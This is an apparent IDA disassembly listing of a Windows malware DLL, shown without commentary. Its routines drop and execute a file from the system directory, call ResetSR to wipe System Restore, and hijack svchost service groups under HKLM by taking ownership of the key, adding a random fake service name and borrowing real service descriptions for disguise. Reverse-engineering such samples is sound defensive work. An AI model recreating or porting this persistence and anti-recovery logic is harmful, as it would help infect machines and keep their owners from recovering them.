loc_9A71A3:				; CODE XREF: sub_9A7177+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_5
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A7177	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A71B6	proc near		; CODE XREF: DllMain(x,x,x)+33p
					; DATA XREF: sub_9A71B6+13o

Buffer		= _MEMORY_BASIC_INFORMATION ptr	-20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		mov	ebx, VirtualQuery
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	offset sub_9A71B6 ; lpAddress
		call	ebx ; VirtualQuery
		test	eax, eax
		jz	short loc_9A7211
		push	esi
		mov	esi, [ebp+Buffer.AllocationBase]
		push	edi
		xor	edi, edi


loc_9A71DB:				; CODE XREF: sub_9A71B6+43j
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		lea	eax, [edi+esi]
		push	eax		; lpAddress
		mov	[ebp+var_4], edi
		call	ebx ; VirtualQuery
		test	eax, eax
		jz	short loc_9A71FB
		cmp	[ebp+Buffer.AllocationBase], esi
		jnz	short loc_9A71FF
		add	edi, 1000h
		jmp	short loc_9A71DB
; ---------------------------------------------------------------------------


loc_9A71FB:				; CODE XREF: sub_9A71B6+36j
		xor	eax, eax
		jmp	short loc_9A720F
; ---------------------------------------------------------------------------


loc_9A71FF:				; CODE XREF: sub_9A71B6+3Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax], esi
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		xor	eax, eax
		inc	eax


loc_9A720F:				; CODE XREF: sub_9A71B6+47j
		pop	edi
		pop	esi


loc_9A7211:				; CODE XREF: sub_9A71B6+1Cj
		pop	ebx
		leave
		retn
sub_9A71B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __cdecl sub_9A7214(int,DWORD nNumberOfBytesToWrite)

sub_9A7214	proc near		; CODE XREF: sub_9A8133+38p

lpBuffer	= dword	ptr -218h
NumberOfBytesWritten= dword ptr	-214h
var_210		= dword	ptr -210h
FileName	= byte ptr -20Ch
PathName	= byte ptr -108h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		and	[ebp+198h+var_210], 0
		push	ebx
		xor	eax, ebp
		push	esi
		mov	[ebp+198h+var_4], eax
		mov	eax, [ebp+198h+arg_0]
		push	edi
		mov	[ebp+198h+lpBuffer], eax
		mov	ebx, 104h
		push	ebx		; uSize
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	esi, GetTempFileNameA
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpTempFileName
		push	0		; uUnique
		mov	edi, offset PrefixString ; "0"
		push	edi		; lpPrefixString
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpPathName
		mov	[ebp+198h+var_5], 0
		call	esi ; GetTempFileNameA
		test	eax, eax
		jnz	short loc_9A72A0
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpBuffer
		push	ebx		; nBufferLength
		call	GetTempPathA
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpTempFileName
		xor	ebx, ebx
		push	ebx		; uUnique
		push	edi		; lpPrefixString
		lea	eax, [ebp+198h+PathName]
		push	eax		; lpPathName
		mov	[ebp+198h+var_5], 0
		call	esi ; GetTempFileNameA
		jmp	short loc_9A72A2
; ---------------------------------------------------------------------------


loc_9A72A0:				; CODE XREF: sub_9A7214+62j
		xor	ebx, ebx


loc_9A72A2:				; CODE XREF: sub_9A7214+8Aj
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	2		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+198h+FileName]
		push	eax		; lpFileName
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A7304
		mov	esi, [ebp+198h+nNumberOfBytesToWrite]
		push	ebx		; lpOverlapped
		lea	eax, [ebp+198h+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		push	[ebp+198h+lpBuffer] ; lpBuffer
		mov	[ebp+198h+NumberOfBytesWritten], ebx
		push	edi		; hFile
		call	WriteFile
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+198h+NumberOfBytesWritten], esi
		lea	eax, [ebp+198h+FileName]
		jnz	short loc_9A72FD
		push	ebx		; int
		push	eax		; lpCommandLine
		call	sub_9A6A21
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A7304
		mov	[ebp+198h+var_210], 1
		jmp	short loc_9A7304
; ---------------------------------------------------------------------------


loc_9A72FD:				; CODE XREF: sub_9A7214+D1j
		push	eax		; lpFileName
		call	DeleteFileA


loc_9A7304:				; CODE XREF: sub_9A7214+A9j
					; sub_9A7214+DEj ...
		mov	ecx, [ebp+198h+var_4]
		mov	eax, [ebp+198h+var_210]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A7214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A731F	proc near		; CODE XREF: sub_9A7E0F:loc_9A80F8p

var_20		= dword	ptr -20h
hLibModule	= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_9A2F60
		call	__SEH_prolog
		push	offset LibFileName ; "srclient.dll"
		call	LoadLibraryA
		mov	[ebp+hLibModule], eax
		and	[ebp+ms_exc.disabled], 0
		test	eax, eax
		jz	short loc_9A7361
		push	offset aResetsr	; "ResetSR"
		push	eax		; hModule
		call	GetProcAddress
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_9A7361
		push	0
		call	eax
		jmp	short loc_9A7361
; ---------------------------------------------------------------------------


loc_9A735A:				; DATA XREF: .text:stru_9A2F60o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A735E:				; DATA XREF: .text:stru_9A2F60o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A7361:				; CODE XREF: sub_9A731F+20j
					; sub_9A731F+33j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	[ebp+hLibModule] ; hLibModule
		call	FreeLibrary
		call	__SEH_epilog
		retn
sub_9A731F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7374	proc near		; CODE XREF: sub_9A7E0F+68p

var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2048	= dword	ptr -2048h
ResumeHandle	= dword	ptr -2044h
var_2040	= dword	ptr -2040h
var_203C	= dword	ptr -203Ch
pcbBytesNeeded	= dword	ptr -2038h
dwBytes		= dword	ptr -2034h
var_2030	= dword	ptr -2030h
hSCObject	= dword	ptr -202Ch
ServicesReturned= dword	ptr -2028h
var_2024	= dword	ptr -2024h
hMem		= dword	ptr -2020h
Buffer		= _QUERY_SERVICE_CONFIGW ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_9A2F70
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 203Ch
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_2040],	ebx
		mov	[ebp+var_4], ebx
		push	20005h		; dwDesiredAccess
		push	ebx		; lpDatabaseName
		push	ebx		; lpMachineName
		call	OpenSCManagerW
		mov	[ebp+hSCObject], eax
		cmp	eax, ebx
		jz	loc_9A75FF
		mov	[ebp+dwBytes], ebx
		mov	[ebp+ServicesReturned],	ebx
		mov	[ebp+ResumeHandle], ebx
		mov	[ebp+hMem], ebx
		mov	esi, GlobalAlloc


loc_9A73F1:				; CODE XREF: sub_9A7374+F3j
		lea	eax, [ebp+ResumeHandle]
		push	eax		; lpResumeHandle
		lea	eax, [ebp+ServicesReturned]
		push	eax		; lpServicesReturned
		lea	eax, [ebp+dwBytes]
		push	eax		; pcbBytesNeeded
		push	[ebp+dwBytes]	; cbBufSize
		push	[ebp+hMem]	; lpServices
		push	3		; dwServiceState
		push	30h		; dwServiceType
		push	[ebp+hSCObject]	; hSCManager
		call	EnumServicesStatusW
		mov	[ebp+var_204C],	eax
		cmp	eax, ebx
		jnz	short loc_9A7469
		call	GetLastError
		cmp	eax, 0EAh
		jnz	short loc_9A7469
		cmp	[ebp+hMem], ebx
		jz	short loc_9A744D
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A744D:				; CODE XREF: sub_9A7374+CBj
		push	[ebp+dwBytes]	; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9A7469
		mov	[ebp+ResumeHandle], ebx
		jmp	short loc_9A73F1
; ---------------------------------------------------------------------------


loc_9A7469:				; CODE XREF: sub_9A7374+B6j
					; sub_9A7374+C3j ...
		cmp	[ebp+var_204C],	ebx
		jz	loc_9A75DF
		cmp	[ebp+hMem], ebx
		jz	loc_9A75F3
		mov	eax, [ebp+ServicesReturned]
		shl	eax, 2
		push	eax		; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2048],	edi
		cmp	edi, ebx
		jz	loc_9A75DF
		mov	[ebp+var_2024],	ebx
		or	[ebp+var_203C],	0FFFFFFFFh
		xor	esi, esi
		mov	[ebp+var_2030],	esi
		mov	ebx, 2000h


loc_9A74B9:				; CODE XREF: sub_9A7374+213j
		cmp	esi, [ebp+ServicesReturned]
		jnb	loc_9A758C
		push	20005h		; dwDesiredAccess
		lea	eax, [esi+esi*8]
		mov	ecx, [ebp+hMem]
		push	dword ptr [ecx+eax*4] ;	lpServiceName
		push	[ebp+hSCObject]	; hSCManager
		call	OpenServiceW
		mov	edi, eax
		mov	[ebp+var_2054],	edi
		test	edi, edi
		jz	loc_9A757A
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	ebx		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpServiceConfig
		push	edi		; hService
		call	QueryServiceConfigW
		test	eax, eax
		jz	short loc_9A7573
		cmp	[ebp+Buffer.dwStartType], 2
		jnz	short loc_9A7573
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	ebx		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	1		; dwInfoLevel
		push	edi		; hService
		call	QueryServiceConfig2W
		test	eax, eax
		jz	short loc_9A7573
		cmp	[ebp+pcbBytesNeeded], 0
		jz	short loc_9A7573
		lea	eax, [ebp+Buffer]
		mov	[ebp+var_2050],	eax
		mov	eax, [ebp+Buffer.dwServiceType]
		test	eax, eax
		jz	short loc_9A7573
		cmp	word ptr [eax],	0
		jz	short loc_9A7573
		push	eax		; Str
		call	_wcsdup
		pop	ecx
		mov	ecx, [ebp+var_2048]
		mov	edx, [ebp+var_2024]
		mov	[ecx+edx*4], eax
		inc	[ebp+var_2024]


loc_9A7573:				; CODE XREF: sub_9A7374+196j
					; sub_9A7374+19Fj ...
		push	edi		; hSCObject
		call	CloseServiceHandle


loc_9A757A:				; CODE XREF: sub_9A7374+178j
		inc	esi
		mov	[ebp+var_2030],	esi
		mov	edi, [ebp+var_2048]
		jmp	loc_9A74B9
; ---------------------------------------------------------------------------


loc_9A758C:				; CODE XREF: sub_9A7374+14Bj
		xor	esi, esi
		cmp	[ebp+var_2024],	esi
		jz	short loc_9A75B3
		call	rand
		xor	edx, edx
		div	[ebp+var_2024]
		mov	[ebp+var_203C],	edx
		mov	eax, [edi+edx*4]
		mov	[ebp+var_2040],	eax


loc_9A75B3:				; CODE XREF: sub_9A7374+220j
					; sub_9A7374+260j
		mov	[ebp+var_2030],	esi
		cmp	esi, [ebp+var_2024]
		jnb	short loc_9A75D6
		cmp	[ebp+var_203C],	esi
		jz	short loc_9A75D3
		push	dword ptr [edi+esi*4] ;	Memory
		call	free
		pop	ecx


loc_9A75D3:				; CODE XREF: sub_9A7374+253j
		inc	esi
		jmp	short loc_9A75B3
; ---------------------------------------------------------------------------


loc_9A75D6:				; CODE XREF: sub_9A7374+24Bj
		push	edi		; hMem
		call	GlobalFree
		xor	ebx, ebx


loc_9A75DF:				; CODE XREF: sub_9A7374+FBj
					; sub_9A7374+125j
		cmp	[ebp+hMem], ebx
		jz	short loc_9A75F3
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A75F3:				; CODE XREF: sub_9A7374+107j
					; sub_9A7374+271j
		push	[ebp+hSCObject]	; hSCObject
		call	CloseServiceHandle


loc_9A75FF:				; CODE XREF: sub_9A7374+59j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_9A7612
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	ebx, ebx


loc_9A7612:				; CODE XREF: sub_9A7374+28Fj
		mov	eax, [ebp+var_2040]
		cmp	eax, ebx
		jnz	short loc_9A7628
		push	offset Str	; Str
		call	_wcsdup
		pop	ecx


loc_9A7628:				; CODE XREF: sub_9A7374+2A6j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		leave
		retn
sub_9A7374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7641	proc near		; CODE XREF: sub_9A7B42+97p

var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
Type		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
psidOwner	= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
Data		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
lpValueName	= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
hKey		= dword	ptr -9Ch
cbData		= dword	ptr -98h
var_94		= dword	ptr -94h
Str		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
SubKey		= word ptr -88h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0D8h
		push	offset stru_9A2FF0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+Str], eax
		mov	ebx, ecx
		mov	[ebp+lpValueName], ebx
		xor	eax, eax
		mov	[ebp+var_B0], eax
		push	1Ah
		pop	ecx
		mov	esi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		lea	edi, [ebp+SubKey]
		rep movsd
		movsw
		mov	[ebp+var_B4], eax
		mov	[ebp+psidOwner], eax
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	3		; samDesired
		push	eax		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000002h	; hKey
		mov	esi, RegOpenKeyExW
		call	esi ; RegOpenKeyExW
		mov	edi, eax
		cmp	edi, 5
		jnz	short loc_9A770A
		lea	eax, [ebp+var_B4]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		lea	eax, [ebp+SubKey]
		push	eax		; int
		push	80000002h	; int
		call	sub_9A706C
		push	0
		lea	eax, [ebp+SubKey]
		push	eax
		push	80000002h
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_9A770A
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	0		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	esi ; RegOpenKeyExW
		mov	edi, eax


loc_9A770A:				; CODE XREF: sub_9A7641+73j
					; sub_9A7641+ACj
		test	edi, edi
		jnz	loc_9A7B03
		and	[ebp+ms_exc.disabled], edi
		mov	[ebp+cbData], 1
		mov	[ebp+Type], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	ebx		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	edi, RegQueryValueExW
		call	edi ; RegQueryValueExW
		mov	[ebp+var_E0], eax
		cmp	eax, 0EAh
		jnz	loc_9A7AEA
		push	[ebp+Str]	; Str
		mov	esi, wcslen
		call	esi ; wcslen
		pop	ecx
		mov	ecx, [ebp+cbData]
		lea	eax, [ecx+eax*2+2]
		mov	[ebp+var_DC], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		mov	[ebp+var_D4], ebx
		test	ebx, ebx
		jz	loc_9A7AEA
		mov	[ebp+var_D8], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+var_D8]
		push	eax		; lpType
		push	0		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	edi ; RegQueryValueExW
		test	eax, eax
		jnz	loc_9A7AE3
		mov	[ebp+var_BC], ebx
		push	[ebp+Str]	; Str
		call	esi ; wcslen
		pop	ecx
		test	eax, eax
		jz	short loc_9A784B
		mov	eax, [ebp+cbData]
		test	eax, eax
		jz	short loc_9A77EA
		lea	edi, [eax-2]
		jmp	short loc_9A77EC
; ---------------------------------------------------------------------------


loc_9A77EA:				; CODE XREF: sub_9A7641+1A2j
		xor	edi, edi


loc_9A77EC:				; CODE XREF: sub_9A7641+1A7j
		mov	[ebp+var_E8], edi
		shr	edi, 1
		push	[ebp+Str]	; Source
		lea	eax, [ebx+edi*2]
		push	eax		; Dest
		call	wcscpy
		push	[ebp+Str]	; Str
		call	esi ; wcslen
		add	esp, 0Ch
		add	eax, edi
		and	word ptr [ebx+eax*2+2],	0
		push	[ebp+var_DC]	; cbData
		push	ebx		; lpData
		push	7		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	loc_9A7AE3
		mov	[ebp+var_B0], 1
		jmp	loc_9A7AE3
; ---------------------------------------------------------------------------


loc_9A784B:				; CODE XREF: sub_9A7641+198j
		xor	edi, edi
		mov	[ebp+var_8C], edi
		and	[ebp+var_94], edi


loc_9A7859:				; CODE XREF: sub_9A7641+243j
		cmp	edi, [ebp+cbData]
		jnb	short loc_9A7886
		mov	eax, [ebp+var_BC]
		lea	eax, [eax+edi*2]
		cmp	word ptr [eax],	0
		jz	short loc_9A7886
		inc	[ebp+var_94]
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		lea	edi, [edi+eax+1]
		mov	[ebp+var_8C], edi
		jmp	short loc_9A7859
; ---------------------------------------------------------------------------


loc_9A7886:				; CODE XREF: sub_9A7641+21Ej
					; sub_9A7641+22Dj
		mov	eax, [ebp+var_94]
		lea	eax, ds:4[eax*4]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_C8], edi
		test	edi, edi
		jz	loc_9A7AE3
		xor	ebx, ebx
		mov	[ebp+var_8C], ebx
		and	[ebp+var_A0], ebx


loc_9A78BA:				; CODE XREF: sub_9A7641+2ADj
		cmp	ebx, [ebp+cbData]
		jnb	short loc_9A78F0
		mov	eax, [ebp+var_BC]
		lea	eax, [eax+ebx*2]
		cmp	word ptr [eax],	0
		jz	short loc_9A78F0
		mov	ecx, [ebp+var_A0]
		mov	[edi+ecx*4], eax
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		lea	ebx, [ebx+eax+1]
		mov	[ebp+var_8C], ebx
		inc	[ebp+var_A0]
		jmp	short loc_9A78BA
; ---------------------------------------------------------------------------


loc_9A78F0:				; CODE XREF: sub_9A7641+27Fj
					; sub_9A7641+28Ej
		mov	ebx, rand


loc_9A78F6:				; CODE XREF: sub_9A7641+32Dj
		and	[ebp+var_C4], 0
		call	ebx ; rand
		xor	edx, edx
		push	18h
		pop	ecx
		div	ecx
		push	off_9B8208[edx*4] ; Source
		push	[ebp+Str]	; Dest
		call	wcscpy
		call	ebx ; rand
		xor	edx, edx
		push	11h
		pop	ecx
		div	ecx
		push	off_9B8268[edx*4] ; Source
		push	[ebp+Str]	; Dest
		call	wcscat
		add	esp, 10h
		xor	eax, eax
		mov	[ebp+var_8C], eax


loc_9A7940:				; CODE XREF: sub_9A7641+37Aj
		cmp	eax, [ebp+var_94]
		jnb	short loc_9A7967
		push	[ebp+Str]	; Str2
		push	dword ptr [edi+eax*4] ;	Str1
		call	_wcsicmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9A79AF
		mov	[ebp+var_C4], 1


loc_9A7967:				; CODE XREF: sub_9A7641+305j
		cmp	[ebp+var_C4], 0
		jnz	short loc_9A78F6
		xor	eax, eax
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], eax


loc_9A797E:				; CODE XREF: sub_9A7641+36Cj
		mov	[ebp+var_8C], eax
		cmp	eax, [ebp+var_94]
		jnb	short loc_9A79C8
		mov	edx, [ebp+Str]
		mov	ecx, [edi+eax*4]
		mov	cx, [ecx]
		cmp	[ebp+var_A8], 0
		jnz	short loc_9A79BD
		cmp	cx, [edx]
		jnz	short loc_9A79AC
		mov	[ebp+var_A8], eax


loc_9A79AC:				; CODE XREF: sub_9A7641+363j
					; sub_9A7641+37Fj
		inc	eax
		jmp	short loc_9A797E
; ---------------------------------------------------------------------------


loc_9A79AF:				; CODE XREF: sub_9A7641+31Aj
		inc	[ebp+var_8C]
		mov	eax, [ebp+var_8C]
		jmp	short loc_9A7940
; ---------------------------------------------------------------------------


loc_9A79BD:				; CODE XREF: sub_9A7641+35Ej
		cmp	cx, [edx]
		jz	short loc_9A79AC
		mov	[ebp+var_A4], eax


loc_9A79C8:				; CODE XREF: sub_9A7641+349j
		cmp	[ebp+var_A4], 0
		jnz	short loc_9A79DD
		mov	eax, [ebp+var_94]
		mov	[ebp+var_A4], eax


loc_9A79DD:				; CODE XREF: sub_9A7641+38Ej
		call	ebx ; rand
		mov	ecx, [ebp+var_A4]
		sub	ecx, [ebp+var_A8]
		xor	edx, edx
		div	ecx
		add	edx, [ebp+var_A8]
		mov	[ebp+var_A0], edx
		mov	eax, [ebp+var_94]


loc_9A7A01:				; CODE XREF: sub_9A7641+3D2j
		mov	[ebp+var_8C], eax
		cmp	eax, edx
		jbe	short loc_9A7A15
		mov	ecx, [edi+eax*4-4]
		mov	[edi+eax*4], ecx
		dec	eax
		jmp	short loc_9A7A01
; ---------------------------------------------------------------------------


loc_9A7A15:				; CODE XREF: sub_9A7641+3C8j
		mov	eax, [ebp+Str]
		mov	[edi+edx*4], eax
		push	eax		; Str
		call	esi ; wcslen
		pop	ecx
		mov	ecx, [ebp+cbData]
		lea	eax, [ecx+eax*2+2]
		mov	[ebp+var_CC], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		mov	[ebp+var_E4], ebx
		test	ebx, ebx
		jz	loc_9A7AD6
		and	[ebp+var_8C], 0
		xor	edi, edi
		mov	[ebp+var_A0], edi


loc_9A7A5A:				; CODE XREF: sub_9A7641+456j
		mov	eax, [ebp+var_94]
		inc	eax
		mov	ecx, [ebp+var_8C]
		cmp	ecx, eax
		jnb	short loc_9A7A99
		lea	eax, [ebx+edi*2]
		mov	edx, [ebp+var_C8]
		push	dword ptr [edx+ecx*4] ;	Source
		push	eax		; Dest
		call	wcscpy
		lea	eax, [ebx+edi*2]
		push	eax		; Str
		call	esi ; wcslen
		add	esp, 0Ch
		lea	edi, [edi+eax+1]
		mov	[ebp+var_A0], edi
		inc	[ebp+var_8C]
		jmp	short loc_9A7A5A
; ---------------------------------------------------------------------------


loc_9A7A99:				; CODE XREF: sub_9A7641+428j
		and	word ptr [ebx+edi*2], 0
		push	[ebp+var_CC]	; cbData
		push	ebx		; lpData
		push	7		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	short loc_9A7AC9
		mov	[ebp+var_B0], 1


loc_9A7AC9:				; CODE XREF: sub_9A7641+47Cj
		push	ebx		; hMem
		call	GlobalFree
		mov	edi, [ebp+var_C8]


loc_9A7AD6:				; CODE XREF: sub_9A7641+404j
		push	edi		; hMem
		call	GlobalFree
		mov	ebx, [ebp+var_D4]


loc_9A7AE3:				; CODE XREF: sub_9A7641+181j
					; sub_9A7641+1F5j ...
		push	ebx		; hMem
		call	GlobalFree


loc_9A7AEA:				; CODE XREF: sub_9A7641+118j
					; sub_9A7641+150j
		push	[ebp+hKey]	; hKey
		call	RegCloseKey
		jmp	short loc_9A7AFF
; ---------------------------------------------------------------------------


loc_9A7AF8:				; DATA XREF: .text:stru_9A2FF0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A7AFC:				; DATA XREF: .text:stru_9A2FF0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A7AFF:				; CODE XREF: sub_9A7641+4B5j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_9A7B03:				; CODE XREF: sub_9A7641+CBj
		cmp	[ebp+var_B4], 0
		jz	short loc_9A7B2C
		push	[ebp+var_B4]	; int
		push	[ebp+psidOwner]	; psidOwner
		lea	eax, [ebp+SubKey]
		push	eax		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A7B2C:				; CODE XREF: sub_9A7641+4C9j
		mov	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A7641	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=104h

; int __cdecl sub_9A7B42(int,int,int,wchar_t *Str)

sub_9A7B42	proc near		; CODE XREF: sub_9A7E0F+171p

phkResult	= dword	ptr -184h
var_180		= dword	ptr -180h
lpData		= dword	ptr -17Ch
psidOwner	= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
hMem		= dword	ptr -16Ch
var_168		= dword	ptr -168h
Data		= byte ptr -164h
hKey		= dword	ptr -160h
Source		= word ptr -15Ch
SubKey		= word ptr -110h
var_48		= dword	ptr -48h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-104h]
		sub	esp, 184h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+104h+var_4], eax
		mov	eax, [ebp+104h+arg_0]
		push	ebx
		push	esi
		mov	[ebp+104h+var_170], eax
		mov	eax, [ebp+104h+arg_4]
		push	edi
		mov	dword ptr [ebp+104h+Data], eax
		mov	eax, [ebp+104h+arg_8]
		mov	[ebp+104h+var_174], ecx
		push	13h
		mov	[ebp+104h+lpData], eax
		mov	eax, [ebp+104h+Str]
		pop	ecx
		xor	ebx, ebx
		mov	esi, offset aSystemrootSyst ; "%SystemRoot%\\system32\\svchost.exe -k "
		lea	edi, [ebp+104h+Source]
		push	eax		; Str
		mov	[ebp+104h+var_168], eax
		mov	[ebp+104h+var_180], ebx
		rep movsd
		call	wcslen
		pop	ecx
		lea	eax, [eax+eax+4Ch]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp+104h+hMem], esi
		jnz	short loc_9A7BBE
		xor	eax, eax
		jmp	loc_9A7DF7
; ---------------------------------------------------------------------------


loc_9A7BBE:				; CODE XREF: sub_9A7B42+73j
		lea	eax, [ebp+104h+Source]
		push	eax		; Source
		push	esi		; Dest
		call	wcscpy
		push	[ebp+104h+var_168] ; Source
		push	esi		; Dest
		call	wcscat
		push	dword ptr [ebp+104h+Data]
		mov	ecx, [ebp+104h+var_168]
		call	sub_9A7641
		add	esp, 14h
		test	eax, eax
		jz	loc_9A7DEB
		push	11h
		pop	ecx
		lea	eax, [ebp+104h+var_48]
		push	eax		; Source
		lea	eax, [ebp+104h+SubKey]
